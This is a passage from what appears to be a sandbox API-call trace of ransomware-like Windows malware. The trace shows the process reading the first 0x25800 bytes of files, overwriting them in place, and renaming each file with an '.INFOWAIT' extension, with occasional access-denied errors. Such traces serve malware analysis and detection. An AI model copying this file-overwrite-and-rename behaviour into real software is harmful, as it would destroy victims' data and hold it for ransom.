(in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0121.738] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0121.738] LocalFree (hMem=0x24b2360) returned 0x0 [0121.738] LocalFree (hMem=0x279c770) returned 0x0 [0121.738] GetLastError () returned 0x2 [0121.738] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0121.738] GetLastError () returned 0x2 [0121.738] lstrcpyW (in: lpString1=0x279c770, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0121.738] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0121.738] lstrlenW (lpString="2") returned 1 [0121.738] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="2" | out: lpString1="CreateFile failed with error 2") returned="CreateFile failed with error 2" [0121.739] lstrcatW (in: lpString1="CreateFile failed with error 2", lpString2=": " | out: lpString1="CreateFile failed with error 2: ") returned="CreateFile failed with error 2: " [0121.739] lstrcatW (in: lpString1="CreateFile failed with error 2: ", lpString2="The system cannot find the file specified.\r\n" | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0121.739] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0121.739] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 2: The system cannot find the file specified.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned="CreateFile failed with error 2: The system cannot find the file specified.\r\n" [0121.739] lstrlenW (lpString="CreateFile failed with error 2: The system cannot find the file specified.\r\n") returned 76 [0121.739] LocalFree (hMem=0x24b2360) returned 0x0 [0121.739] LocalFree (hMem=0x279c770) returned 0x0 [0121.739] GetLastError () returned 0x2 [0121.782] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D" [0121.782] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D.INFOWAIT" [0121.782] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_cvalidator.h1d"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_CValidator.H1D.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_cvalidator.h1d.infowait")) returned 1 [0121.782] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.784] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.784] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.784] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_assetid.h1w"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.784] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x365fc [0121.784] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.785] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.785] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0121.813] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0121.826] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.826] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0121.827] CloseHandle (hObject=0xad4) returned 1 [0121.832] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W" [0121.832] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W.INFOWAIT" [0121.832] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_assetid.h1w"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_AssetId.H1W.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_assetid.h1w.infowait")) returned 1 [0121.833] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.834] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.835] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.835] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_bestbet.h1w"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.837] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x325ec [0121.837] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.837] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.837] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0121.853] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0121.867] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.867] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0121.868] CloseHandle (hObject=0xad4) returned 1 [0121.877] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W" [0121.877] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W.INFOWAIT" [0121.877] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_bestbet.h1w"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MKWD_BestBet.H1W.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mkwd_bestbet.h1w.infowait")) returned 1 [0121.886] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.887] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.888] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.889] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mtoc_help.h1h"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.889] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x79f1a [0121.889] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.889] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.889] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0121.905] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0121.917] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.917] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0121.918] CloseHandle (hObject=0xad4) returned 1 [0121.930] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H" [0121.930] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H.INFOWAIT" [0121.930] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mtoc_help.h1h"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MTOC_help.H1H.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mtoc_help.h1h.infowait")) returned 1 [0121.931] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.932] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.933] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.933] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.h1d"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.934] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x3944 [0121.934] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.934] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.934] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x3944, lpOverlapped=0x0) returned 1 [0121.958] VirtualAlloc (lpAddress=0x0, dwSize=0x3944, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.959] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.959] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x3944, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x3944, lpOverlapped=0x0) returned 1 [0121.960] CloseHandle (hObject=0xad4) returned 1 [0121.965] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D" [0121.965] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D.INFOWAIT" [0121.966] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.h1d"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.H1D.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.h1d.infowait")) returned 1 [0121.966] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.967] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.968] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.968] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.lck"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.968] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x4 [0121.968] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.969] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.969] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x4, lpOverlapped=0x0) returned 1 [0121.971] VirtualAlloc (lpAddress=0x0, dwSize=0x4, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0121.972] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.972] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x4, lpOverlapped=0x0) returned 1 [0121.972] CloseHandle (hObject=0xad4) returned 1 [0121.978] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck" [0121.978] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck.INFOWAIT" [0121.978] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.lck"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help_MValidator.Lck.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help_mvalidator.lck.infowait")) returned 1 [0121.979] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.980] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0121.981] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0121.981] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help{9daa54e8-cd95-4107-8e7f-ba3f24732d95}.h1q"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0121.981] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xd5310 [0121.981] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0121.981] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0121.981] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x25800, lpOverlapped=0x0) returned 1 [0121.986] VirtualAlloc (lpAddress=0x0, dwSize=0x25800, flAllocationType=0x1000, flProtect=0x4) returned 0x29b0000 [0122.000] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0122.000] WriteFile (in: hFile=0xad4, lpBuffer=0x29b0000*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x29b0000*, lpNumberOfBytesWritten=0x26efef0*=0x25800, lpOverlapped=0x0) returned 1 [0122.000] CloseHandle (hObject=0xad4) returned 1 [0122.022] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q" [0122.022] lstrcatW (in: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q.INFOWAIT") returned="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q.INFOWAIT" [0122.023] MoveFileW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help{9daa54e8-cd95-4107-8e7f-ba3f24732d95}.h1q"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Assistance\\Client\\1.0\\en-US\\Help{9DAA54E8-CD95-4107-8E7F-BA3F24732D95}.H1Q.INFOWAIT" (normalized: "c:\\users\\all users\\microsoft\\assistance\\client\\1.0\\en-us\\help{9daa54e8-cd95-4107-8e7f-ba3f24732d95}.h1q.infowait")) returned 1 [0122.023] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.024] VirtualFree (lpAddress=0x29b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0122.025] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0122.025] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png" (normalized: "c:\\users\\all users\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\background.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0122.026] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26ee59c) [0122.026] GetLastError () returned 0x5 [0122.026] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.026] GetLastError () returned 0x5 [0122.026] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.026] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.026] lstrlenW (lpString="5") returned 1 [0122.026] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.026] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.026] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.026] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.026] lstrcpynW (in: lpString1=0x26ee5c4, lpString2="CreateFile failed with error 5: Access is denied.\r\n", iMaxLength=1024 | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.026] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.026] LocalFree (hMem=0x65ded8) returned 0x0 [0122.026] LocalFree (hMem=0x2568430) returned 0x0 [0122.026] GetLastError () returned 0x5 [0122.027] RtlUnwind (TargetFrame=0x26eff1c, TargetIp=0x43694c, ExceptionRecord=0x26ee064, ReturnValue=0x0) [0122.027] GetLastError () returned 0x5 [0122.027] lstrcpyW (in: lpString1=0x2568430, lpString2="CreateFile" | out: lpString1="CreateFile") returned="CreateFile" [0122.027] lstrcatW (in: lpString1="CreateFile", lpString2=" failed with error " | out: lpString1="CreateFile failed with error ") returned="CreateFile failed with error " [0122.027] lstrlenW (lpString="5") returned 1 [0122.027] lstrcatW (in: lpString1="CreateFile failed with error ", lpString2="5" | out: lpString1="CreateFile failed with error 5") returned="CreateFile failed with error 5" [0122.027] lstrcatW (in: lpString1="CreateFile failed with error 5", lpString2=": " | out: lpString1="CreateFile failed with error 5: ") returned="CreateFile failed with error 5: " [0122.027] lstrcatW (in: lpString1="CreateFile failed with error 5: ", lpString2="Access is denied.\r\n" | out: lpString1="CreateFile failed with error 5: Access is denied.\r\n") returned="CreateFile failed with error 5: Access is denied.\r\n" [0122.027] lstrlenW (lpString="CreateFile failed with error 5: Access is denied.\r\n") returned 51 [0122.027] lstrcpynW (in: lpString1=0x26ee5c4, 